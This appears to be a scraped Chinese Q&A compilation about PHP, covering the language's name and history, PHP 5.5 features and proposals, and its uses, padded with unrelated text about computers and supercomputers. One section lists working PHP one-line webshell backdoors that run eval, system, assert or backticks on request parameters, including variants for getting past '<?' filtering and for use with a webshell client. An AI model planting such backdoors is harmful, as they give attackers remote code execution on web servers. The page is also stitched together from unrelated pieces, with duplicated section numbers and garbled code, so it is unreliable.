php有趣
Ⅰ php 這個縮寫指的是什麼
講到 PHP 的全名就蠻有趣的,它是一個遞歸的縮寫名稱,"PHP: Hypertext Preprocessor",打開縮寫還是縮寫。PHP 是一種 HTML 內嵌式的語言 (類似 IIS 上的 ASP)。而 PHP 獨特的語法混合了 C、Java、Perl 以及 PHP 式的新語法。它可以比 CGI 或者 Perl 更快速的執行動態網頁。
PHP 最初是在公元 1994 年 Rasmus Lerdorf 開始計劃發展。在 1995 年以 Personal Home Page Tools (PHP Tools) 開始對外發表第一個版本。在這早期的版本中,提供了訪客留言本、訪客計數器等簡單的功能。隨後在新的成員加入開發行列之後,在 1995 年中,第二版的 PHP 問市。第二版定名為 PHP/FI(Form Interpreter)。PHP/FI 並加入了 msql 的支持,自此奠定了 PHP 在動態網頁開發上的影響力。在 1996 年底,有一萬五千個 Web 網站使用 PHP/FI;在 1997 年中,使用 PHP/FI 的 Web 網站成長到超過五萬個。而在 1997 年中,開始了第三版的開發計劃,開發小組加入了 Zeev Suraski 及 Andi Gutmans,而第三版就定名為 PHP3。
Ⅱ PHP5.5 將會帶來哪些新特徵
1、放棄對Windows XP和2003 的支持
PHP5.5 將不再支持Windows XP和2003,這些系統已經有十年的歷史,所以PHP將不再提供支持。
2、棄用e修飾符
e修飾符是指示 preg_replace函數用來評估替換字元串作為PHP代碼,而不只是僅僅做一個簡單的字元串替換。不出所料,這種行為會源源不斷的出現安全問題。這就是為什麼在PHP5.5 中使用這個修飾符將拋出一個棄用警告。作為替代,你應該使用 preg_replace_callback函數。你可以從 RFC找到更多關於這個變化相應的信息。
新增函數和類
接下來,我們將看到在計劃之中的新增函數和類:
boolval()
PHP已經實現了strval、intval和floatval的函數。為了達到一致性將添加boolval函數。它完全可以作為一個布爾值計算,也可以作為一個回調函數。
hash_pbkdf2()
PBKDF2全稱「Password-Based Key Derivation Function 2」,正如它的名字一樣,是一種從密碼派生出加密密鑰的演算法。這就需要加密演算法,也可以用於對密碼哈希。更廣泛的說明和用法示例,請參閱 RFC。
intl 擴展
將有許多改進 intl的擴展。例如,將會有新的IntlCalendar,IntlGregorianCalendar,IntlTimeZone,IntlBreakIterator,IntlRuleBasedBreakIterator,IntlCodePointBreakIterator類。之前,我竟然不知道有這么多關於intl擴展,如果你想知道更多,我建議你去最新公告里找 Calendar和 BreakIterator。
array_column()
有一個 提議,新增array_column(或array_pluck)函數,它的表現如下:
<?php
$userNames = array_column($users, 'name');
// is the same as
$userNames = [];
foreach ($users as $user) {
$userNames[] = $user['name'];
}
像這樣從資料庫獲取一列,但返回是數組。
一個簡單的密碼散列API
最近的密碼泄漏(從LinkedIn等)顯示,即使是大型網站也不知道如何正確地散列密碼。幾年前人們一直提倡使用bcrypt,但大多數人似乎仍然是使用完全不安全的sha1哈希值。
我們認為這樣做的原因可能是真的很難使用crypt函數的API。因此我們會採用一個新的、簡單的API,用於安全的密碼散列:
<?php
$password = "foo";
// creating the hash
$hash = password_hash($password, PASSWORD_BCRYPT);
// verifying a password
if (password_verify($password, $hash)) {
// password correct!
} else {
// password wrong!
}
新的散列API提供了一些更多的特性,請參閱 RFC。
語言改變
現在真正有趣的東西:新的語言特性和增強功能。
常量引用
「常量引用」意味著數組可以直接操作字元串和數組字面值。舉兩個例子:
<?php
function randomHexString($length) {
$str = '';
for ($i = 0; $i < $length; ++$i) {
$str .= "0123456789abcdef"[mt_rand(0, 15)]; // direct dereference of string
}
}
function randomBool() {
return [false, true][mt_rand(0, 1)]; // direct dereference of array
}
我不認為在實踐中會使用此功能,但它使語言更加一致。請參閱 RFC。
調用empty()函數(和其他表達式)一起工作
目前,empty()語言構造只能用在變數,而不能在其他表達式。在特定的代碼像empty($this->getFriends())將會拋出一個錯誤。作為PHP5.5 這將成為有效的代碼。更多信息請參閱 RFC。
獲取完整類別名稱
PHP5.3 中引入命名空間的別名類和命名空間短版本的功能。雖然這並不適用於字元串類名稱:
<?php
use Some\Deeply\Nested\Namespace\FooBar;
// does not work, because this will try to use the global `FooBar` class
$reflection = new ReflectionClass('FooBar');
為了解決這個問題採用新的FooBar::class語法,它返回類的完整類別名稱:
<?php
use Some\Deeply\Nested\Namespace\FooBar;
// this works because FooBar::class is resolved to "Some\\Deeply\\Nested\\Namespace\\FooBar"
$reflection = new ReflectionClass(FooBar::class);
更多示例請參閱 RFC。
參數跳躍
如果你有一個函數接受多個可選的參數,目前沒有辦法只改變最後一個參數,而讓其他所有參數為默認值。
RFC上的例子,如果你有一個函數如下:
function create_query($where, $order_by, $join_type='', $execute = false, $report_errors = true) { ... }
那麼有沒有辦法設置$report_errors=false,而其他兩個為默認值。為了解決這個跳躍參數的問題而提出:
create_query("deleted=0", "name", default, default, false);
我個人不是特別喜歡這個提議。在我的眼睛裡,代碼需要這個功能,只是設計不當。函數不應該有12個可選參數。
標量類型提示
標量類型提示原本計劃進入5.4,但由於缺乏共識而沒有做。獲取更多關於為什麼標量類型提示沒有做進PHP的信息,請參閱: 標量類型提示比你認為的更難。
對於PHP5.5 而言,針對標量類型提示討論又一次出現,我認為這是一個相當不錯的 提議。
它需要通過輸入值來指定類型。例如:123,123.0,「123」都是一個有效的int參數輸入,但「hello world」就不是。這與內部函數的行為一致。
function foo(int $i) { ... }
foo(1); // $i = 1
foo(1.0); // $i = 1
foo("1"); // $i = 1
foo("1abc"); // not yet clear, maybe $i = 1 with notice
foo(1.5); // not yet clear, maybe $i = 1 with notice
foo([]); // error
foo("abc"); // error
Getter 和 Setter
如果你從不喜歡寫這些getXYZ()和setXYZ($value)方法,那麼這應該是你最受歡迎的改變。提議添加一個新的語法來定義一個屬性的設置/讀取:
<?php
class TimePeriod {
public $seconds;
public $hours {
get { return $this->seconds / 3600; }
set { $this->seconds = $value * 3600; }
}
}
$timePeriod = new TimePeriod;
$timePeriod->hours = 10;
var_mp($timePeriod->seconds); // int(36000)
var_mp($timePeriod->hours); // int(10)
當然還有更多的功能,比如只讀屬性。如果你想要知道更多,請參閱 RFC。
生成器
目前,自定義迭代器很少使用,因為它們的實現,需要大量的樣板代碼。生成器解決這個問題,並提供了一種簡單的樣板代碼來創建迭代器。
例如,你可以定義一個范圍函數作為迭代器:
<?php
function *xrange($start, $end, $step = 1) {
for ($i = $start; $i < $end; $i += $step) {
yield $i;
}
}
foreach (xrange(10, 20) as $i) {
// ...
}
上述xrange函數具有與內建函數相同的行為,但有一點區別:不是返回一個數組的所有值,而是返回一個迭代器動態生成的值。
獲取更深入的介紹請參閱 RFC。
列表解析和生成器表達式
列表解析提供一個簡單的方法對數組進行小規模操作:
$firstNames = [foreach ($users as $user) yield $user->firstName];
上述列表解析相等於下面的代碼:
$firstNames = [];
foreach ($users as $user) {
$firstNames[] = $user->firstName;
}
也可以這樣過濾數組:
$underageUsers = [foreach ($users as $user) if ($user->age < 18) yield $user];
生成器表達式也很類似,但是返回一個迭代器(用於動態生成值)而不是一個數組。
Ⅲ 學習php可以做什麼發展方向有哪些
PHP能做什麼
PHP 能做任何事,PHP 腳本主要用於以下三個領域:
1、服務端腳本。
這是 PHP 最傳統,也是最主要的目標領域。開展這項工作需要具備以下三點:
A、PHP 解析器(CGI 或者伺服器模塊)、
B、web 伺服器、
C、web 瀏覽器。
需要在運行web伺服器時,安裝並配置PHP,然後,可以用web瀏覽器來訪問PHP程序的輸出,即瀏覽服務端的PHP頁面。
如果只是實驗 PHP 編程,所有的這些都可以運行在自己家裡的電腦中。
2、命令行腳本。
可以編寫一段 PHP 腳本,並且不需要任何伺服器或者瀏覽器來運行它。
通過這種方式,僅僅只需要 PHP 解析器來執行。
這種用法對於依賴cron(Unix或者Linux環境)或者Task Scheler(Windows環境)的日常運行的腳本來說是理想的選擇。
這些腳本也可以用來處理簡單的文本。
3、編寫桌面應用程序。
對於有著圖形界面的桌面應用程序來說,PHP 或許不是一種最好的語言,
但是如果用戶非常精通 PHP,並且希望在客戶端應用程序中使用 PHP 的一些高級特性,
可以利用 PHP-GTK 來編寫這些程序。用這種方法,還可以編寫跨平台的應用程序。
PHP-GTK 是 PHP 的一個擴展,在通常發布的 PHP 包中並不包含它。
如果對 PHP-GTK 感興趣,請訪問其網站以獲取更多信息。
PHP還可用於其他更廣泛的領域:
PHP 還支持利用諸如 LDAP、IMAP、SNMP、NNTP、POP3、HTTP、COM(Windows環境)等不計其數的協議的服務。
還可以開放原始網路埠,使得任何其它的協議能夠協同工作。
PHP 支持和所有 web 開發語言之間的 WDDX 復雜數據交換。
關於相互連接,PHP 已經支持了對 Java 對象的即時連接,並且可以將他們自由的用作 PHP 對象。
甚至可以用我們的 CORBA 擴展庫來訪問遠程對象。
PHP 具有極其有效的文本處理特性,支持從 POSIX 擴展或者 Perl 正則表達式到 XML 文檔解析。
為了解析和訪問 XML 文檔,PHP 4 支持 SAX 和 DOM 標准,也可以使用 XSLT 擴展庫來轉換 XML 文檔。
PHP5基於強健的libxm2標准化了所有的XML擴展,並添加了SimpleXML和XMLReader支持,擴展了其在XML方面的功能。
如果將PHP用於電子商務領域,
會發現其Cybercash支付、CyberMUT、VeriSign Payflow Pro以及MCVE函數對於在線交易程序來說是非常有用的。
另外,還有很多其它有趣的擴展庫。
例如 mnoGoSearch 搜索引擎函數、IRC 網關函數、多種壓縮工具(gzip、bz2)、日歷轉換、翻譯……
php+mysql相結合,可以開發大中型網站,網店等軟體,flex+php+mysql相結合可以開發像開心網這樣的游戲,還有phpgane(游戲),隨著php版本的不斷提高,php涉及領域網站,網游和管理,銷售軟體等開發觸!
Ⅳ 運用PHP可以做什麼項目啊
運用PHP的話可以做的項目太多了,因為PHP也是屬於後台語言的,而且可以做系統,可以做軟體,也可以做網站的,所以說學習PHP的話可以寫後台服務語言。
計算機俗稱電腦,是一種用於高速計算的電子計算機器,可以進行數值計算,又可以進行邏輯計算,還具有存儲記憶功能。是能夠按照程序運行,自動、高速處理海量數據的現代化智能電子設備。由硬體系統和軟體系統所組成,沒有安裝任何軟體的計算機稱為裸機。
可分為超級計算機、工業控制計算機、網路計算機、個人計算機、嵌入式計算機五類,較先進的計算機有生物計算機、光子計算機、量子計算機、神經網路計算機。蛋白質計算機等。
當今計算機系統的運算速度已達到每秒萬億次,微機也可達每秒幾億次以上,使大量復雜的科學計算問題得以解決。例如:衛星軌道的計算、大型水壩的計算、24小時天氣預報的計算等,過去人工計算需要幾年、幾十年,而現在用計算機只需幾天甚至幾分鍾就可完成。
科學技術的發展特別是尖端科學技術的發展,需要高度精確的計算。計算機控制的導彈之所以能准確地擊中預定的目標,是與計算機的精確計算分不開的。一般計算機可以有十幾位甚至幾十位(二進制)有效數字,計算精度可由千分之幾到百萬分之幾,是任何計算工具所望塵莫及的。
隨著計算機存儲容量的不斷增大,可存儲記憶的信息越來越多。計算機不僅能進行計算,而且能把參加運算的數據、程序以及中間結果和最後結果保存起來,以供用戶隨時調用;還可以對各種信息(如視頻、語言、文字、圖形、圖像、音樂等)通過編碼技術進行算術運算和邏輯運算,甚至進行推理和證明。
計算機內部操作是根據人們事先編好的程序自動控制進行的。用戶根據解題需要,事先設計好運行步驟與程序,計算機十分嚴格地按程序規定的步驟操作,整個過程不需人工干預,自動執行,已達到用戶的預期結果。
超級計算機(supercomputers)通常是指由數百數千甚至更多的處理器(機)組成的、能計算普通PC機和伺服器不能完成的大型復雜課題的計算機。超級計算機是計算機中功能最強、運算速度最快、存儲容量最大的一類計算機,是國家科技發展水平和綜合國力的重要標志。
超級計算機擁有最強的並行計算能力,主要用於科學計算。在氣象、軍事、能源、航天、探礦等領域承擔大規模、高速度的計算任務。
在結構上,雖然超級計算機和伺服器都可能是多處理器系統,二者並無實質區別,但是現代超級計算機較多採用集群系統,更注重浮點運算的性能,可看著是一種專注於科學計算的高性能伺服器,而且價格非常昂貴。
一般的超級計算器耗電量相當大,一秒鍾電費就要上千,超級計算器的CPU至少50核也就是說是家用電腦的10倍左右,處理速度也是相當的快,但是這種CPU是無法購買的,而且價格要上千萬。
Ⅳ 一個有意思的 PHP 一句話後門,怎麼破
<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容錯代碼
<?php assert($_POST1);?>//使用Lanker一句話客戶端的專家模式執行相關的PHP語句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用這個後,使用菜刀一句話客戶端在
配置連接的時候在"配置"一欄輸入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>
//繞過<?限制的一句話
<script language="php">@eval_r($_POST[sb])</script>
Ⅵ GitHub 上有哪些比較有趣的 PHP 項目
Hprose for php 的加速擴展。其中所包含的 hprose 序列化和反序列化速度秒殺 php 內一切其它序列化擴展的速度,比如 php 序列化,json,msgpack,igbinary等。